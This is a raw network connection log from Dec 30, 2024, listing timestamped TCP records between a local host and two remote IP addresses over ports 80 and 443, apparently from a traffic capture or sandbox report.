Dec 30, 2024 19:42:38.355526924 CET	80	49746	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:38.356471062 CET	80	49746	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:38.356537104 CET	49746	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:38.356590986 CET	49746	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:38.358810902 CET	49747	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:38.361373901 CET	80	49746	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:38.363581896 CET	80	49747	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:38.363656044 CET	49747	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:38.363780022 CET	49747	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:38.363797903 CET	49747	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:38.368530035 CET	80	49747	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:38.368628025 CET	80	49747	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:40.058830976 CET	80	49747	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:40.059043884 CET	80	49747	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:40.059112072 CET	49747	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:40.059150934 CET	49747	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:40.061383963 CET	49748	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:40.063910007 CET	80	49747	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:40.066272020 CET	80	49748	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:40.066349983 CET	49748	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:40.066457033 CET	49748	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:40.066488981 CET	49748	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:40.071213961 CET	80	49748	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:40.071419001 CET	80	49748	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:41.554379940 CET	80	49748	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:41.554615021 CET	80	49748	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:41.554692030 CET	49748	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:41.554765940 CET	49748	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:41.557848930 CET	49749	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:41.559520960 CET	80	49748	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:41.562674046 CET	80	49749	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:41.562762976 CET	49749	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:41.562881947 CET	49749	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:41.562881947 CET	49749	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:41.567748070 CET	80	49749	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:41.567758083 CET	80	49749	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:43.007309914 CET	80	49749	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:43.007767916 CET	80	49749	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:43.007850885 CET	49749	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:43.008006096 CET	49749	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:43.010334969 CET	49750	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:43.012829065 CET	80	49749	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:43.015181065 CET	80	49750	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:43.015256882 CET	49750	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:43.015362024 CET	49750	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:43.015408993 CET	49750	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:43.020136118 CET	80	49750	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:43.020251036 CET	80	49750	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:44.454025984 CET	80	49750	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:44.454240084 CET	80	49750	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:44.454560041 CET	49750	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:44.454628944 CET	49750	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:44.459428072 CET	80	49750	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:44.461744070 CET	49751	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:44.466577053 CET	80	49751	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:44.466808081 CET	49751	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:44.466878891 CET	49751	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:44.466922045 CET	49751	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:44.471612930 CET	80	49751	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:44.471770048 CET	80	49751	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:45.942068100 CET	80	49751	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:45.942276955 CET	80	49751	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:45.942342997 CET	49751	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:45.942384958 CET	49751	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:45.944623947 CET	49752	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:45.947129965 CET	80	49751	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:45.949455976 CET	80	49752	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:45.949536085 CET	49752	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:45.949636936 CET	49752	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:45.949654102 CET	49752	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:45.954442978 CET	80	49752	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:45.954503059 CET	80	49752	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:47.461075068 CET	80	49752	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:47.461309910 CET	80	49752	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:47.461369038 CET	49752	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:47.461421967 CET	49752	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:47.464580059 CET	49753	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:47.466334105 CET	80	49752	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:47.469448090 CET	80	49753	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:47.469515085 CET	49753	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:47.469727039 CET	49753	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:47.469742060 CET	49753	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:47.474457026 CET	80	49753	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:47.474668980 CET	80	49753	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:48.939321041 CET	80	49753	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:48.939601898 CET	80	49753	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:48.939672947 CET	49753	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:48.939734936 CET	49753	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:48.944467068 CET	49754	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:48.944978952 CET	80	49753	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:48.950753927 CET	80	49754	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:48.950841904 CET	49754	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:48.950985909 CET	49754	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:48.951006889 CET	49754	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:48.957608938 CET	80	49754	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:48.959139109 CET	80	49754	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:50.394676924 CET	80	49754	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:50.394953012 CET	80	49754	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:50.395023108 CET	49754	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:50.396320105 CET	49754	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:50.401057005 CET	80	49754	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:50.469892025 CET	49755	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:50.474741936 CET	80	49755	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:50.474874973 CET	49755	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:50.480118036 CET	49755	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:50.480182886 CET	49755	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:50.484874010 CET	80	49755	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:50.485096931 CET	80	49755	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:52.207444906 CET	80	49755	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:52.207640886 CET	80	49755	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:52.207695961 CET	49755	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:52.207802057 CET	49755	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:52.212188005 CET	49757	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:52.212538958 CET	80	49755	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:52.217067957 CET	80	49757	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:52.217143059 CET	49757	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:52.217294931 CET	49757	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:52.217294931 CET	49757	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:52.222100973 CET	80	49757	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:52.222170115 CET	80	49757	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:53.671240091 CET	80	49757	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:53.672822952 CET	80	49757	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:53.672878027 CET	49757	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:53.715112925 CET	49757	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:53.719868898 CET	80	49757	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:53.730938911 CET	49758	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:53.735742092 CET	80	49758	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:53.735815048 CET	49758	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:53.737289906 CET	49758	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:53.737310886 CET	49758	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:53.742090940 CET	80	49758	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:53.742225885 CET	80	49758	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:55.176757097 CET	80	49758	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:55.177304029 CET	80	49758	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:55.177365065 CET	49758	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:55.177405119 CET	49758	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:42:55.182241917 CET	80	49758	58.151.148.90	192.168.2.4
Dec 30, 2024 19:42:55.216494083 CET	49760	443	192.168.2.4	23.145.40.181
Dec 30, 2024 19:42:55.216517925 CET	443	49760	23.145.40.181	192.168.2.4
Dec 30, 2024 19:42:55.216583014 CET	49760	443	192.168.2.4	23.145.40.181
Dec 30, 2024 19:42:55.216958046 CET	49760	443	192.168.2.4	23.145.40.181
Dec 30, 2024 19:42:55.216969013 CET	443	49760	23.145.40.181	192.168.2.4
Dec 30, 2024 19:43:07.643862009 CET	49760	443	192.168.2.4	23.145.40.181
Dec 30, 2024 19:43:07.648188114 CET	49841	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:07.653153896 CET	80	49841	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:07.653258085 CET	49841	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:07.653389931 CET	49841	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:07.653423071 CET	49841	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:07.658216000 CET	80	49841	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:07.658355951 CET	80	49841	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:09.099405050 CET	80	49841	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:09.099602938 CET	80	49841	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:09.099715948 CET	49841	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:09.099715948 CET	49841	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:09.101666927 CET	49849	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:09.104629993 CET	80	49841	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:09.106496096 CET	80	49849	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:09.106561899 CET	49849	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:09.106652021 CET	49849	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:09.106662035 CET	49849	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:09.111433029 CET	80	49849	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:09.111462116 CET	80	49849	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:10.549905062 CET	80	49849	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:10.550203085 CET	80	49849	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:10.550268888 CET	49849	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:10.550483942 CET	49849	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:10.555267096 CET	80	49849	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:10.561841011 CET	49859	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:10.566672087 CET	80	49859	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:10.566760063 CET	49859	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:10.566921949 CET	49859	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:10.566961050 CET	49859	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:10.571748018 CET	80	49859	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:10.571871996 CET	80	49859	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:12.024653912 CET	80	49859	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:12.024847984 CET	80	49859	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:12.024918079 CET	49859	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:12.024950981 CET	49859	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:12.027087927 CET	49869	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:12.029755116 CET	80	49859	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:12.031999111 CET	80	49869	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:12.032067060 CET	49869	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:12.032145023 CET	49869	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:12.032157898 CET	49869	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:12.036983013 CET	80	49869	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:12.037103891 CET	80	49869	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:13.485539913 CET	80	49869	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:13.485763073 CET	80	49869	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:13.485833883 CET	49869	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:13.487863064 CET	49869	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:13.492701054 CET	80	49869	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:13.588407993 CET	49880	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:13.593242884 CET	80	49880	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:13.593312025 CET	49880	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:13.593446970 CET	49880	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:13.593468904 CET	49880	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:13.598282099 CET	80	49880	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:13.598376036 CET	80	49880	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:15.049071074 CET	80	49880	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:15.049190998 CET	80	49880	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:15.049252033 CET	49880	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:15.049371958 CET	49880	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:15.052261114 CET	49891	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:15.054162025 CET	80	49880	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:15.057172060 CET	80	49891	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:15.059525967 CET	49891	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:15.059665918 CET	49891	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:15.059684038 CET	49891	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:15.064522982 CET	80	49891	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:15.064553976 CET	80	49891	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:16.521765947 CET	80	49891	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:16.521905899 CET	80	49891	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:16.522074938 CET	49891	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:16.523777008 CET	49891	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:16.528597116 CET	80	49891	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:16.593332052 CET	49901	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:16.598140955 CET	80	49901	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:16.598213911 CET	49901	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:16.600547075 CET	49901	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:16.600569963 CET	49901	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:16.605329037 CET	80	49901	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:16.605338097 CET	80	49901	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:18.168605089 CET	80	49901	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:18.168736935 CET	80	49901	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:18.168833017 CET	49901	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:18.169048071 CET	49901	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:18.171358109 CET	49912	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:18.174597025 CET	80	49901	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:18.176934958 CET	80	49912	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:18.178823948 CET	49912	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:18.178934097 CET	49912	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:18.178970098 CET	49912	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:18.185245037 CET	80	49912	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:18.185255051 CET	80	49912	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:19.668881893 CET	80	49912	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:19.669986963 CET	80	49912	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:19.670063972 CET	49912	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:19.670137882 CET	49912	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:19.672259092 CET	49923	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:19.674909115 CET	80	49912	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:19.677067995 CET	80	49923	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:19.677141905 CET	49923	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:19.677304983 CET	49923	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:19.677333117 CET	49923	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:19.682065964 CET	80	49923	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:19.682274103 CET	80	49923	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:21.135529041 CET	80	49923	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:21.135698080 CET	80	49923	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:21.135845900 CET	49923	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:21.136447906 CET	49923	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:21.139388084 CET	49931	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:21.141252041 CET	80	49923	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:21.144262075 CET	80	49931	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:21.144337893 CET	49931	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:21.144504070 CET	49931	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:21.144526005 CET	49931	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:21.149293900 CET	80	49931	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:21.149445057 CET	80	49931	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:22.603473902 CET	80	49931	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:22.603538990 CET	80	49931	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:22.603638887 CET	49931	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:22.603883982 CET	49931	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:22.608120918 CET	49941	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:22.609580994 CET	80	49931	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:22.614002943 CET	80	49941	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:22.615421057 CET	49941	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:22.615523100 CET	49941	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:22.615537882 CET	49941	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:22.620974064 CET	80	49941	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:22.620985031 CET	80	49941	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:24.081443071 CET	80	49941	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:24.081496954 CET	80	49941	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:24.081588984 CET	49941	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:24.081955910 CET	49941	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:24.086730003 CET	80	49941	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:24.125772953 CET	49951	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:24.130585909 CET	80	49951	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:24.130660057 CET	49951	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:24.130783081 CET	49951	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:24.130805016 CET	49951	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:24.135559082 CET	80	49951	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:24.135670900 CET	80	49951	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:25.585412025 CET	80	49951	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:25.585726976 CET	80	49951	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:25.585791111 CET	49951	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:25.586385965 CET	49951	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:43:25.590966940 CET	49962	443	192.168.2.4	23.145.40.181
Dec 30, 2024 19:43:25.591047049 CET	443	49962	23.145.40.181	192.168.2.4
Dec 30, 2024 19:43:25.591134071 CET	49962	443	192.168.2.4	23.145.40.181
Dec 30, 2024 19:43:25.591150999 CET	80	49951	58.151.148.90	192.168.2.4
Dec 30, 2024 19:43:25.591526031 CET	49962	443	192.168.2.4	23.145.40.181
Dec 30, 2024 19:43:25.591562986 CET	443	49962	23.145.40.181	192.168.2.4
Dec 30, 2024 19:44:08.352885008 CET	443	49962	23.145.40.181	192.168.2.4
Dec 30, 2024 19:44:08.353050947 CET	49962	443	192.168.2.4	23.145.40.181
Dec 30, 2024 19:44:08.353050947 CET	49962	443	192.168.2.4	23.145.40.181
Dec 30, 2024 19:44:08.353943110 CET	50038	443	192.168.2.4	23.145.40.181
Dec 30, 2024 19:44:08.353975058 CET	443	50038	23.145.40.181	192.168.2.4
Dec 30, 2024 19:44:08.354036093 CET	50038	443	192.168.2.4	23.145.40.181
Dec 30, 2024 19:44:08.354484081 CET	50038	443	192.168.2.4	23.145.40.181
Dec 30, 2024 19:44:08.354497910 CET	443	50038	23.145.40.181	192.168.2.4
Dec 30, 2024 19:44:08.782577991 CET	49962	443	192.168.2.4	23.145.40.181
Dec 30, 2024 19:44:08.782651901 CET	443	49962	23.145.40.181	192.168.2.4
Dec 30, 2024 19:44:51.185612917 CET	443	50038	23.145.40.181	192.168.2.4
Dec 30, 2024 19:44:51.185689926 CET	50038	443	192.168.2.4	23.145.40.181
Dec 30, 2024 19:44:51.185749054 CET	50038	443	192.168.2.4	23.145.40.181
Dec 30, 2024 19:44:51.185770988 CET	443	50038	23.145.40.181	192.168.2.4
Dec 30, 2024 19:44:51.186748981 CET	50039	443	192.168.2.4	23.145.40.181
Dec 30, 2024 19:44:51.186800957 CET	443	50039	23.145.40.181	192.168.2.4
Dec 30, 2024 19:44:51.186875105 CET	50039	443	192.168.2.4	23.145.40.181
Dec 30, 2024 19:44:51.187757969 CET	50039	443	192.168.2.4	23.145.40.181
Dec 30, 2024 19:44:51.187794924 CET	443	50039	23.145.40.181	192.168.2.4
Dec 30, 2024 19:44:51.187850952 CET	50039	443	192.168.2.4	23.145.40.181
Dec 30, 2024 19:44:53.708005905 CET	50040	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:44:53.713262081 CET	80	50040	58.151.148.90	192.168.2.4
Dec 30, 2024 19:44:53.713341951 CET	50040	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:44:53.713500023 CET	50040	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:44:53.713531017 CET	50040	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:44:53.718264103 CET	80	50040	58.151.148.90	192.168.2.4
Dec 30, 2024 19:44:53.718302011 CET	80	50040	58.151.148.90	192.168.2.4
Dec 30, 2024 19:44:55.486449957 CET	80	50040	58.151.148.90	192.168.2.4
Dec 30, 2024 19:44:55.486464977 CET	80	50040	58.151.148.90	192.168.2.4
Dec 30, 2024 19:44:55.486474991 CET	80	50040	58.151.148.90	192.168.2.4
Dec 30, 2024 19:44:55.486526966 CET	50040	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:44:55.486560106 CET	50040	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:44:55.486623049 CET	80	50040	58.151.148.90	192.168.2.4
Dec 30, 2024 19:44:55.486669064 CET	50040	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:44:55.486860991 CET	50040	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:44:55.495909929 CET	80	50040	58.151.148.90	192.168.2.4
Dec 30, 2024 19:44:55.538932085 CET	50041	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:44:55.543910027 CET	80	50041	58.151.148.90	192.168.2.4
Dec 30, 2024 19:44:55.543971062 CET	50041	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:44:55.544118881 CET	50041	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:44:55.544131994 CET	50041	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:44:55.548886061 CET	80	50041	58.151.148.90	192.168.2.4
Dec 30, 2024 19:44:55.549041033 CET	80	50041	58.151.148.90	192.168.2.4
Dec 30, 2024 19:44:57.052090883 CET	80	50041	58.151.148.90	192.168.2.4
Dec 30, 2024 19:44:57.052216053 CET	80	50041	58.151.148.90	192.168.2.4
Dec 30, 2024 19:44:57.052287102 CET	50041	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:44:57.052469015 CET	50041	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:44:57.057240963 CET	80	50041	58.151.148.90	192.168.2.4
